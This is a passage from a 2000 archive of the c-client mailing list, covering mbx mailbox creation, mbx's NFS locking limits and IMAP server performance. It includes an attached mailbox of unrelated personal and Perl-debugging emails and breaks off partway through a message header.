Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA13488 for ; Thu, 5 Oct 2000 11:07:19 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10599; Thu, 5 Oct 2000 11:07:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA22072; Thu, 5 Oct 2000 11:06:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA105640 for ; Thu, 5 Oct 2000 10:46:30 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14221 for ; Thu, 5 Oct 2000 10:46:30 -0700 Received: from quark.nca.asu.edu (qmailr@quark.nca.asu.edu [129.219.88.130]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id KAA25537 for ; Thu, 5 Oct 2000 10:46:29 -0700 Received: (qmail 1073 invoked by uid 0); 5 Oct 2000 17:46:28 -0000 Received: from kirk.nca.asu.edu (HELO nca.asu.edu) (129.219.88.141) by quark.nca.asu.edu with SMTP; 5 Oct 2000 17:46:28 -0000 Message-Id: <39DCBE24.C61F8011@nca.asu.edu> Date: Thu, 05 Oct 2000 10:45:08 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "C. R. Oldham" To: Mark Crispin , c-client@CAC.Washington.EDU Subject: Re: mbx folder creation, and bodiless messages References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,pdf X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Thu, 5 Oct 2000 02:01:36 -0400, ben h kram wrote: > > What is the preferred method of creating a fresh mbx folder? > > The official way is to call the c-client mail_create() with a mailbox name > that is prefixed with "#driver.mbx/". And for the server side, is the preferred way to set the default mailbox type to mbx just to change the Makefile? I ask because most packaged versions of the UW-Imap suite don't set this. I can't use the packages because I don't want my users to accidentally create mailboxes of types other than mbx. Is there some reason why the default type is not already mbx? -- / C. R. (Charles) Oldham | NCA Commission on Schools \ / Director of Technology | Arizona State University \ / cro@nca.asu.edu | V:480-965-8703 F:480-965-9423 \ From pinedev@shivax2.cac.washington.edu Thu Oct 5 11:25:38 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 11:25:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA27483 for ; Thu, 5 Oct 2000 11:25:37 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA26971; Thu, 5 Oct 2000 11:25:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA09242; Thu, 5 Oct 2000 11:23:57 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA93664 for ; Thu, 5 Oct 2000 11:08:20 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA19139 for ; Thu, 5 Oct 2000 11:08:20 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (thwang@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10625 for ; Thu, 5 Oct 2000 11:08:20 -0700 Message-Id: Date: Thu, 5 Oct 2000 10:53:51 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "C. R. Oldham" Cc: c-client@CAC.Washington.EDU Subject: Re: mbx folder creation, and bodiless messages In-Reply-To: <39DCBE24.C61F8011@nca.asu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 05 Oct 2000 10:45:08 -0700, C. R. Oldham wrote: > And for the server side, is the preferred way to set the default mailbox > type to > mbx just to change the Makefile? Yes. Just change DEFAULTPROTO=unixproto to DEFAULTPROTO=mbxproto > Is there some reason why the default type is not already mbx? Yes, there is. mbx is non-standard. c-client based applications are the only thing that deal with it, and we strongly encourage application writes who want to create mbx savvy programs to use c-client, to ensure interoperability. The downside of this is that it shuts out applications that aren't based on c-client. That's why the default in c-client is the crufty old format that UNIX has used for the past 30 years. mbx is not NFS-safe. mbx depends upon the UNIX filesystem semantics; in particular, that locking works and the mailbox data is updated immediately and consistantly. In more detail, mbx uses random access I/O with multiple processes having read/write access. mbx has four levels of lock: 1) open (shared lock) 2) open+parsing new mail (shared lock) 3) delivering new mail (exclusive lock - locks against lock 2) 4) open+expunging (exclusive lock - interlocks against locks 1,2,3) These locks much be communicated properly with all processes which access the mbx mailbox at all times. In addition, mbx will alter message flags in place with a random access write() operation without any locking; this requires that the buffer cache be updated immediately for all processes which have the mailbox open. Delivery of new mail must immediately update the buffer cache and the inode cache for all processes which have the mailbox open. NFS makes none of these guarantees. There is a form of locking with NFS which works if the phase of the moon is right and applications aren't exercising it too much. mbx, to put it mildly, pummels locking. UNIX kernel locking for local files can handle it, but NFS locking (if it exists) quickly collapses in a catatonic heap (and with it, hangs the entire NFS cluster). From pinedev@shivax2.cac.washington.edu Thu Oct 5 13:13:43 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 13:13:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id NAA16314 for ; Thu, 5 Oct 2000 13:13:41 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA30764; Thu, 5 Oct 2000 13:13:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA29876; Thu, 5 Oct 2000 13:11:49 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA129708 for ; Thu, 5 Oct 2000 13:01:38 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA11316 for ; Thu, 5 Oct 2000 13:01:22 -0700 Received: from oxmail.ox.ac.uk (oxmail2.ox.ac.uk [163.1.2.1]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA14780 for ; Thu, 5 Oct 2000 13:01:21 -0700 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 3.12 #1) id 13hHCi-0007Z2-00 for c-client@cac.washington.edu; Thu, 05 Oct 2000 21:01:20 +0100 Received: from mbeattie by sable.ox.ac.uk with local (Exim 3.13 #1) id 13hHCi-0004qB-00 for c-client@cac.washington.edu; Thu, 05 Oct 2000 21:01:20 +0100 Message-Id: <20001005210120.A14771@sable.ox.ac.uk> Date: Thu, 5 Oct 2000 21:01:20 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Malcolm Beattie To: c-client@CAC.Washington.EDU Subject: Re: mailbox formats, system load etc. In-Reply-To: ; from andrew@andrew.triumf.ca on Wed, Sep 27, 2000 at 12:52:52PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Andrew Daviel writes: > We have a Linux server running the imap-4.7 imapd and popd, with > about 600 users. About 100 have more than 1MB inbox, about 30 > more than 10MB, 1 more than 100MB (histogram looks a bit like > y=300M/x). Some users are using POP3, but most are using > IMAP from Netscape which is what we have been > recommending. [...] > I'm looking for ways to improve the speed. The machine is > a 350MHz Pentium II with 128Mb RAM and a SCSI RAID array. > I have converted the folders to mbx format (according to Mark, > "This is the current preferred mailbox format. It can be > handled quite efficiently ..") thinking that it would allow > faster message seeking etc., but I'm not so sure this > is really the case. As part of our mail cluster, we have two different 350MHz Pentium II with 512MB RAM each (memory is cheap), each with 4300 users and performance is fine--there'll be more users on each machine as time goes by. Quotas are 20MB for undergraduates, 50MB for others (I'm not sure of the proportion of each off the top of my head). We use mbx format and most access is IMAP but, as usual, there are still some POP diehards. These two nodes each have a couple of fast-wide SCSI buses (old) with a 6x18GB bus and a 6x9GB bus, mirrored in pairs. If you mail me (off-list is probably best) with more information on the I/O configuration, kernel version, passwd configuration and so on of your system, I'll try to help fix up what the glitch is. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From pinedev@shivax2.cac.washington.edu Thu Oct 5 13:40:34 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 13:40:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id NAA22423 for ; Thu, 5 Oct 2000 13:40:32 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA16153; Thu, 5 Oct 2000 13:40:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA02351; Thu, 5 Oct 2000 13:37:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA22702 for ; Thu, 5 Oct 2000 13:30:20 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA10129 for ; Thu, 5 Oct 2000 13:30:19 -0700 Received: from incubus.modulo.org (incubus.modulo.org [209.143.90.124]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id NAA31395 for ; Thu, 5 Oct 2000 13:30:14 -0700 Received: (qmail 21688 invoked by uid 500); 5 Oct 2000 20:30:07 -0000 Message-Id: <20001005163006.I20734@modulo.org> Date: Thu, 5 Oct 2000 16:30:07 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ben h kram To: c-client@CAC.Washington.EDU Subject: Re: mbx folder creation, and bodiless messages In-Reply-To: ; from MRC@cac.washington.edu on Thu, Oct 05, 2000 at 10:09:23AM -0700 References: <20001005020135.A20734@modulo.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="NDin8bjvE/0mNLFQ" X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 93 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --NDin8bjvE/0mNLFQ Content-Type: text/plain; charset=us-ascii > I don't see any attachments in your message. Goodness, okay, I was very tired sending that out. Forgot to attach the mailbox. fyi, I am using mail_append(). thanks, ben -- "...human heads are opaque and there's no way to see inside except through those tiny little windows, the eyes." -Yevgeny Zamyatin "We" --NDin8bjvE/0mNLFQ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="inbox.mbx" >From jargon@inky.modulo.org Mon Jul 17 21:53 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA13640 for ; Mon, 17 Jul 2000 21:53:56 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id VAA02437 for jargon@barley.cs.jhu.edu; Mon, 17 Jul 2000 21:57:01 -0400 Resent-Message-Id: <200007180157.VAA02437@inky.modulo.org> Date: Mon, 17 Jul 2000 18:06:57 -0400 From: Ben H Kram To: kjj@pobox.com Subject: Mail::Folder Message-ID: <20000717180657.B1416@modulo.org> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 59 Resent-From: jargon@modulo.org Resent-Date: Mon, 17 Jul 2000 21:57:01 -0400 Resent-To: jargon@barley.cs.jhu.edu Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 761 Lines: 18 You mention in your docs that you'd like to hear if anyone is using your module for anything big. Well, if I can get the durn thing to pass its tests I'm planning on using it as a piece of the backend of a web based email system that I'm writing. Is it compatable with perl 5.6.0? I made one change in the source to compile cleaner - perl complains about the use of defined() at 502 in Emaul.pm and somewhere in the 7--'s in Mbox.pm - the code around the line looks the same as the other one. I pulled the defines. Perl stopped complaining. looking at the syntax, I think it will still work. I've attached my test results - any advice you could render would be much appreciated. thank you, ben -- Ben H Kram Information Engineer Roanoke Techology Corp. >From jargon@inky.modulo.org Mon Jul 17 21:58 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA13697 for ; Mon, 17 Jul 2000 21:58:18 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id WAA02458 for jargon@barley.cs.jhu.edu; Mon, 17 Jul 2000 22:01:27 -0400 Resent-Message-Id: <200007180201.WAA02458@inky.modulo.org> Date: Mon, 17 Jul 2000 22:00:48 -0400 From: Ben H Kram To: kjj@pobox.com Subject: eheh Message-ID: <20000717220048.A2428@modulo.org> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 61 Resent-From: jargon@modulo.org Resent-Date: Mon, 17 Jul 2000 22:01:27 -0400 Resent-To: jargon@barley.cs.jhu.edu Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ" Status: RO Content-Length: 2573 Lines: 77 --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Okay - so maybe my tests _weren't attached. Here they are. Again, thank you for your time. cheers, ben -- Ben H Kram Information Engineer Roanoke Techology Corp. --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="test.log" /usr/bin/perl t/TEST 0 emaul/01_emaul......ok emaul/02_empty......ok emaul/03_sync.......ok emaul/04_curr.......ok emaul/05_get........ok emaul/06_label......ok emaul/07_del........ok emaul/08_sort.......Sort subroutine didn't return single value at ../blib/lib/Mail/Folder.pm line 982. dubious Test returned status 9 (wstat 2304, 0x900) DIED. FAILED tests 2-4 Failed 3/4 tests, 25.00% okay emaul/09_select.....ok emaul/10_append.....ok emaul/11_pack.......ok emaul/12_refile.....ok emaul/13_update.....ok mbox/01_mbox........ (in cleanup) yeep! can't read /tmp/mbox.1.8753 disappeared: No such file or directory at mbox/01_mbox.t line 14 (in cleanup) yeep! can't read /tmp/mbox.2.8753 disappeared: No such file or directory at mbox/01_mbox.t line 0 ok mbox/02_empty....... (in cleanup) yeep! can't read /tmp/mbox.1.8755 disappeared: No such file or directory at mbox/02_empty.t line 22 (in cleanup) yeep! can't read /tmp/mbox.2.8755 disappeared: No such file or directory at mbox/02_empty.t line 0 ok mbox/03_sync........ (in cleanup) yeep! can't read /tmp/mbox.1.8757 disappeared: No such file or directory at mbox/03_sync.t line 0 ok mbox/04_curr........ (in cleanup) yeep! can't read /tmp/mbox.1.8761 disappeared: No such file or directory at mbox/04_curr.t line 0 ok mbox/05_get......... (in cleanup) yeep! can't read /tmp/mbox.1.8763 disappeared: No such file or directory at mbox/05_get.t line 0 ok mbox/06_label....... (in cleanup) yeep! can't read /tmp/mbox.1.8765 disappeared: No such file or directory at mbox/06_label.t line 16 (in cleanup) yeep! can't read /tmp/mbox.2.8765 disappeared: No such file or directory at mbox/06_label.t line 24 (in cleanup) yeep! can't read /tmp/mbox.3.8765 disappeared: No such file or directory at mbox/06_label.t line 0 ok mbox/07_del......... (in cleanup) yeep! can't read /tmp/mbox.2.8767 disappeared: No such file or directory at mbox/07_del.t line 0 ok mbox/08_sort........Sort subroutine didn't return single value at ../blib/lib/Mail/Folder.pm line 982. dubious Test returned status 2 (wstat 512, 0x200) Undefined subroutine &Test::Harness::WCOREDUMP called at /usr/lib/perl5/5.6.0/Test/Harness.pm line 334. make: *** [test] Error 2 --mP3DRpeJDSE+ciuQ-- >From jargon@inky.modulo.org Mon Jul 17 23:49 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA14698 for ; Mon, 17 Jul 2000 23:49:12 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id XAA02555 for jargon@barley.cs.jhu.edu; Mon, 17 Jul 2000 23:52:19 -0400 Resent-Message-Id: <200007180352.XAA02555@inky.modulo.org> Date: Mon, 17 Jul 2000 23:49:07 -0400 From: Ben H Kram To: Kevin Johnson Subject: Re: Mail::Folder Message-ID: <20000717234907.A2530@modulo.org> References: <20000717180657.B1416@modulo.org> <20000717192036.A20805@cx570310-b.chnd1.az.home.com> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i In-Reply-To: <20000717192036.A20805@cx570310-b.chnd1.az.home.com>; from kjj@pobox.com on Mon, Jul 17, 2000 at 07:20:36PM -0700 X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 64 Resent-From: jargon@modulo.org Resent-Date: Mon, 17 Jul 2000 23:52:19 -0400 Resent-To: jargon@barley.cs.jhu.edu Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 520 Lines: 15 > Alas, perl-5.6 broke some older stuff. > Unfortunately, my schedule has been brutal, which means my perl modules have > suffered from some neglect. Hmm.. Can you give me some hints? I could give it a try to fix 'em. Your package is just what I'm looking for; I don't know a heck of a lot about mail folder's internals, but if its just the time issue, I might be able to get them working. cheers, ben -- "Aha," it thought. "So /that's/ how it is!" So it stopped rolling... -The Missing Piece, Shel Silverstein >From jargon@inky.modulo.org Tue Jul 18 00:14 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA14978 for ; Tue, 18 Jul 2000 00:14:09 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id AAA02594 for jargon@barley.cs.jhu.edu; Tue, 18 Jul 2000 00:17:13 -0400 Resent-Message-Id: <200007180417.AAA02594@inky.modulo.org> Date: Tue, 18 Jul 2000 00:16:40 -0400 From: Ben H Kram To: Kevin Johnson Subject: Re: Mail::Folder Message-ID: <20000718001640.A2559@modulo.org> References: <20000717180657.B1416@modulo.org> <20000717192036.A20805@cx570310-b.chnd1.az.home.com> <20000717234907.A2530@modulo.org> <20000717205118.A21225@cx570310-b.chnd1.az.home.com> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i In-Reply-To: <20000717205118.A21225@cx570310-b.chnd1.az.home.com>; from kjj@pobox.com on Mon, Jul 17, 2000 at 08:51:18PM -0700 X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 63 Resent-From: jargon@modulo.org Resent-Date: Tue, 18 Jul 2000 00:17:13 -0400 Resent-To: Ben H Kram Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 253 Lines: 9 > I've attached a patch file one user submitted. Thanks! > Out of curiosity, have you looked at the Mail::Cclient module? I was peering at it - I'm not all that familiar with the c-client interface; how does its functionality differ from yours? -b >From jargon@inky.modulo.org Tue Jul 18 15:24 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id PAA20544 for ; Tue, 18 Jul 2000 15:24:00 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id PAA03400 for jargon@barley.cs.jhu.edu; Tue, 18 Jul 2000 15:27:02 -0400 Resent-Message-Id: <200007181927.PAA03400@inky.modulo.org> Date: Tue, 18 Jul 2000 10:42:07 -0400 From: Ben H Kram To: mbeattie@sable.ox.ac.uk Subject: Mail-Cclient-1.0 Message-ID: <20000718104207.C3048@modulo.org> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 68 Resent-From: jargon@modulo.org Resent-Date: Tue, 18 Jul 2000 15:27:02 -0400 Resent-To: jargon@barley.cs.jhu.edu Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 505 Lines: 22 Hi - I'm just beginning to play with the c-client perl module. I'm having some difficulty. I've replaced the includes in the Cclient.xs file with #include #include #include where my imap headers live. I replaced a bunch of globals with PL_globals to be perl 5.6.0 complient. I have no idea where to find the file "linkage.c". Any advice would be much appreciated. Thanks for your time, -Ben -- Ben H Kram Information Engineer Roanoke Technology Corp. >From jargon@inky.modulo.org Fri Jul 21 14:01 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA22298 for ; Fri, 21 Jul 2000 14:01:52 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id OAA07734 for jargon@barley.cs.jhu.edu; Fri, 21 Jul 2000 14:04:30 -0400 Resent-Message-Id: <200007211804.OAA07734@inky.modulo.org> Date: Fri, 21 Jul 2000 14:03:25 -0400 From: Ben H Kram To: CLARA CHEN Subject: [BettyAnn.Kram@Inficon.com: Re: [cachen@mail.jhmi.edu: syracuse jobs]] Message-ID: <20000721140325.C6989@modulo.org> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 91 Resent-From: jargon@modulo.org Resent-Date: Fri, 21 Jul 2000 14:04:30 -0400 Resent-To: jargon@barley.cs.jhu.edu Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 821 Lines: 36 I asked my mom for advice... cheers, ben ----- Forwarded message from BettyAnn.Kram@Inficon.com ----- From: BettyAnn.Kram@Inficon.com Subject: Re: [cachen@mail.jhmi.edu: syracuse jobs] Hi there. there are various websites with job listings - http://www.syracuse.com/careers there are others - something called the http://www.davincitimes.org and more. so looking forward to seeing you.... LOVE LOVE LOVE ************************************************* Betty Ann Kram Director of Corporate Communications INFICON Two Technology Place East Syracuse, New York 13057 USA Ph: +315.434.1122 Fax: +315.437.3803 Email: BettyAnn.Kram@inficon.com http://www.inficon.com ----- End forwarded message ----- -- "Aha," it thought. "So /that's/ how it is!" So it stopped rolling... -The Missing Piece, Shel Silverstein >From houlahan@heron.cs.jhu.edu Mon Jul 24 18:04 EDT 2000 Received: from blaze.cs.jhu.edu (root@blaze.cs.jhu.edu [128.220.13.50]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA18160 for ; Mon, 24 Jul 2000 18:04:23 -0400 (EDT) Received: from heron.cs.jhu.edu.cs.yp (heron.cs.jhu.edu [128.220.223.46]) by blaze.cs.jhu.edu (8.9.3/8.9.3) with SMTP id SAA05874; Mon, 24 Jul 2000 18:04:08 -0400 (EDT) Received: from localhost by heron.cs.jhu.edu.cs.yp (SMI-8.6/SMI-SVR4) id SAA22902; Mon, 24 Jul 2000 18:02:56 -0400 Date: Mon, 24 Jul 2000 18:02:55 -0400 (EDT) From: Joanne To: Joanne Houlahan Subject: more hustle lessons Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO Content-Length: 1147 Lines: 34 Hi All, The first session of hustle has gone well. I'm proud to say there are at least 20 new hustle dancers in the baltimore area. We will continue in August with a level 2 (Intermediate) hustle session, still on Monday evenings. Classes will be 7-8 pm (8/7-8/28), $10/person at PROMENADE DANCESPORT in Woodlawn, just off the west side of the Baltimore Beltway. All are welcome to join in the remainder of the current session (7/24 and 7/31) at 7 pm to brush up (hint, hint) for the new session. For directions or more details see the Promenade website at: www.MDDancesport.com Thanks to all who showed up for the first session in June/July. There is a very good chance that a hustle/WC dance will be available at the Promenade in the fall. We will also be repeating hustle level I in september. Hope to see you soon, Joanne ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Joanne Houlahan ~~ Charm City Dance houlahan@cs.jhu.edu http://www.cs.jhu.edu/~houlahan/dance.html 410-847-9174 813 Loyola Dr 410-516-4117 Towson, MD 21204 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >From jargon@inky.modulo.org Tue Jul 25 13:57 EDT 2000 Received: from inky.modulo.org ([205.244.126.6]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA27118 for ; Tue, 25 Jul 2000 13:57:30 -0400 (EDT) Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id NAA14518 for jargon@barley.cs.jhu.edu; Tue, 25 Jul 2000 13:56:09 -0400 Resent-Message-Id: <200007251756.NAA14518@inky.modulo.org> Date: Tue, 25 Jul 2000 13:20:28 -0400 From: b To: David Shaw Subject: Re: to bug Message-ID: <20000725132028.B14446@modulo.org> References: <20000724171752.B12914@modulo.org> <20000725112004.G10377@akamai.com> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i In-Reply-To: <20000725112004.G10377@akamai.com>; from dshaw@jabberwocky.com on Tue, Jul 25, 2000 at 11:20:04AM -0400 X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 48 Resent-From: jargon@modulo.org Resent-Date: Tue, 25 Jul 2000 13:56:09 -0400 Resent-To: jargon@barley.cs.jhu.edu Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 499 Lines: 21 > Is it a recent sendmail? They're really fussy in what they run. The > way to 'bless' an executable so sendmail will use it is to make a > symlink from /etc/smrsh/foo.pl to the real foo.pl. Then in > /etc/aliases, just do Thanks. Much better. The funny thing is that we both thought to contact the other at the same time... It is nice to hear from you. How's the wife? :^) -b -- "Aha," it thought. "So /that's/ how it is!" So it stopped rolling... -The Missing Piece, Shel Silverstein >From linux-admin@acm.jhu.edu Sun Aug 6 20:22 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA04976 for ; Sun, 6 Aug 2000 20:22:06 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA18936; Sun, 6 Aug 2000 20:21:58 -0400 Received: from mercea.net (postfix@cd-145-142.ra30.dc.capu.net [64.50.145.142]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA18929 for ; Sun, 6 Aug 2000 20:21:55 -0400 Received: from 